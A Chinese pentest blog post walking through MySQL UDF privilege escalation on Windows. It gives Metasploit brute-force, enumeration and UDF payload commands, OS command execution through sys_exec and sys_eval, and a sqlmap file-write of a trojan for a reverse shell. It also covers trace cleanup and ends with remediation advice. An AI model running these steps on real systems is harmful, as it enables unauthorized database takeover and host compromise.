【数据库提权】MySQL UDF提权 (Window环境)
创始人
2025-05-29 06:11:30
0

文章目录

  • 前言
  • 一、UDF简介
  • 二、UDF提权条件
  • 三、上传动态链接库文件
  • 四、UDF提权步骤
    • MSF漏洞验证
  • 五、UDF提权反弹Shell
  • 六、清理痕迹
  • 七、修复建议


前言

本文章仅记录某次内网渗透过程中遇到的MySQL 采用UDF提权等方式进行获取权限,文章中内容仅用于技术交流,切勿用于非授权下渗透攻击行为,慎重!!!


一、UDF简介

UDF(Userdefined function)可以翻译为用户自定义函数,其为mysql的一个拓展接口,可以为Mysql增添一些函数,对MySQL的功能进行扩充,然后就可以在MySQL中进行使用这些函数了。

攻击者通过编写调用cmd或shell的udf.dll/udf.so文件,并且导入到指定的文件夹目录下,创建一个指向udf.dll/udf.so的自定义函数,从而在数据库中的查询就等价于在cmd或shell中执行命令。

二、UDF提权条件

1、MySQL数据库的Root权限(可以通过账号密码远程登录到Mysql数据库)

2、MySQL具有写入文件的权限(即Secure_file_priv的值为空,不为空时必须有写入my.ini的权限)

连接MySQL数据库后,通过SQL语句show global variables like '%secure%';查看secure_file_priv的值。

当secure_file_priv的值为NULL,表示限制mysqld不允许导入|导出,此时无法提权。
当secure_file_priv的值为/tmp/, 表示限制mysqld的导入|导出只能发生在/tmp/目录下,此时也无法提权;
当secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制,此时可提权。

如果secure_file_priv的值不是空,需要在MySQL/my.ini中设置secure_file_priv参数为secure_file_priv =


三、上传动态链接库文件

动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为 .dll ,在Linux环境下后缀名为 .so ,我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数。

MySQL版本大于5.1 ,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下(plugin文件夹默认不存在,需要自行创建;MySQL安装目录可以通过select basedir() 或者select @@basedir 查看)

MySQL版本小于5.1 ,udf.dll文件在win2003下放置于C:\Windows或者C:\Windows\system32目录,在win2000下放置在C:\Winnt\system32目录。

四、UDF提权步骤

1、查看secure_file_priv的值

Secure_file_priv是用来限制load dumpfileinto outfileload_file() 函数在哪个目录下拥有上传或者读取文件的权限。

输入语句:show global variables like '%secure%'; ##值为空即可操作
在这里插入图片描述
2、查看plugin的值

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);

    当 plugin 的值为空时不可提权当 plugin 值为 mysql_native_password 时可通过账户连接提权

在这里插入图片描述

实际测试发现UDF提权成功与否与该值无关。

3、查看系统构架以及plugin目录

Show variables like '%compile%'; //查看主机版本及架构
在这里插入图片描述
show variables like '%plugin%'; //查看 plugin 目录
在这里插入图片描述

MSF漏洞验证

使用MSF搜索关于MySQL辅助利用脚本

search mysql

在这里插入图片描述
在这里插入图片描述
使用弱口令扫描脚本,并查看需要配置选项

use auxiliary/scanner/mysql/mysql_login
show options

在这里插入图片描述
可配置 pass_file(暴力破解字典,所在绝对路径)在不知道密码的情况下可使用
配置 RHOSTS (靶机IP地址)
set rhosts 192.168.x.x/24 (可批量扫描)
在这里插入图片描述
配置USERNAME(靶机MySQL服务用户名)或者配置USER_FILE(用户名字典)

方法二选一

set pass_file /top100.txt
set rhosts 192.168.x.x
set username root
run 或者 exploit 进行攻击!!!

以上两种方法是在未知MySQL数据库账密情况下进行爆破方式,具体以实际情况为主。

获取MySQL的基础信息

使用模块:use auxiliary/admin/mysql/mysql_enum
在这里插入图片描述

set rhosts 192.168.x.x
set password root
set username root
run

获取MySQL基础信息及其他存在用户及其密码
在这里插入图片描述
可使用CMD5或者john工具进行破解
在这里插入图片描述
接下来进行UDF提权,加载攻击载荷

use exploit/multi/mysql/mysql_udf_payload
set rhosts 192.168.*.*
set password root

在这里插入图片描述
在这里插入图片描述
在MySQL中执行SQL语句,查看上传的DLL文件名

select * from mysql.func;
在这里插入图片描述
执行命令 select sys_exec("whoami");
在这里插入图片描述
如果返回结果为 0 就代表成功,返回1代表失败。

通过之前MSF生成的DLL文件创建sys_eval()函数,使执行的命令存在回显。

create function sys_eval returns string soname "****.dll";
在这里插入图片描述
再次执行命令 select sys_eval("whoami");
在这里插入图片描述
可使用攻击载荷 use auxiliary/admin/mysql/mysql_sql 进行后续其他命令操作
在这里插入图片描述

五、UDF提权反弹Shell

当UDF提权后,我们想反弹一个MSF或者CS的shell,首先呢使用CS的PowerShell反弹命令是不行的,这里由于powershell命令引号过多,不能执行。

那么现在的思路就是执行木马文件,反弹Shell,这里由于sys_eval函数不能执行Windows那些远程下载命令,所以我们选择通过sqlmap的写入文件功能,将木马写入当前目录。

首先,查看当前目录
在这里插入图片描述
然后sqlmap写入木马,这里也是可以进行远程下载的;

命令:sqlmap -u "http://192.168.x.x?id=1" --file-write msf.exe --file-est "C:\phpStudy\PHPTutorial\MySQL\data\*.exe"

执行木马反弹,这里需要注意的是,sys_eval函数只能执行当前目录下的文件,所以,也只能把文件写入当前路径下。

六、清理痕迹

命令:drop function sys_eval; drop function sys_exec;
在这里插入图片描述

七、修复建议

1、mysql配置文件中 secure_file_priv 项设置为NULL或非 mysql/lib/plugin目录。

2、控制目录访问权限,例如控制/lib/pluginsystem32/wbem/mof等目录需要管理员权限访问或者设置为只读权限。

3、数据库用户确保正确实施最小权限原则

相关内容

热门资讯

11-STM32F1 -DMA... 11-STM32F1 -DMA(1) DMA:Data Memory A...
促销活动方案 实用的促销活动方案集锦9篇  为了确保工作或事情有序地进行,常常需要预先制定方案,方案是书面计划,是...
清明节主题党日活动方案 清明节主题党日活动方案(通用7篇)  为了确保活动有序有效开展,我们需要事先制定活动方案,活动方案是...
施工现场扬尘专项防治方案 施工现场扬尘专项防治方案  什么是方案  方案是从目的、要求、方式、方法、进度等都部署具体、周密,并...
家电促销活动方案 家电促销活动方案通用15篇  为保证事情或工作高起点、高质量、高水平开展,往往需要预先进行方案制定工...
考研408每周一题(2019 ... 2019年(单链表)         41.(13分)设线性表L=(a1,a2...
【C#进阶】C# 索引器 序号系列文章13【C#进阶】C# 特性14【C#进阶】C# 反射15【C#进阶】C# 属性文章目录前...
社区志愿者活动方案 社区志愿者活动方案模板(精选9篇)  为了确保活动有序地进行,往往需要预先制定好活动方案,活动方案是...
双十一促销活动方案 双十一促销活动方案(精选12篇)  为了确保活动能有条不紊地开展,常常要根据具体情况预先制定活动方案...
最新促销活动方案 最新促销活动方案  一、活动方案的格式  1.活动标题  2.活动时间、地点  3.活动的目的及意义...
微公益策划活动方案 微公益策划活动方案  为了确保工作或事情有序地进行,常常要根据具体情况预先制定方案,一份好的方案一定...
浏览器F12功能总结 不同浏览器F12控制面板的中英文显示360浏览器:英文IE浏览器:中文搜狗:英文谷歌浏览器:英文火狐...
数据结构 | 栈的中缀表达式求... 目录 什么是栈? 栈的基本操作 入栈操作 出栈操作 取栈顶元素 中缀表达式求值 实现思...
[C语言]qsort()排序函... qsort函数C语言编译器函数库自带的排序函数。qsort 的函数原型是void qsort(voi...
民主生活会工作方案 民主生活会工作方案  民主生活会工作方案(精选6篇)  只有深思熟虑之后,才能写好工作方案。在计划开...
体育活动目标方案 体育活动目标方案(精选6篇)  为了确保活动能有条不紊地开展,常常需要提前准备一份具体、详细、针对性...
评选活动方案 评选活动方案  为了确保我们的努力取得实效,就需要我们事先制定方案,方案可以对一个行动明确一个大概的...
摄影活动方案 摄影活动方案(精选15篇)  为了保障事情或工作顺利、圆满进行,常常需要提前进行细致的方案准备工作,...
(Java基础)关键字 关键字 Java 有没有 goto goto 是 Java 中的保留字,在目前版本的 ...
【学习笔记】计算机视觉与深度学... 学习视频: 鲁鹏-计算机视觉与深度学习 1 图像分类任务 图像分类任务是计算机视觉的核...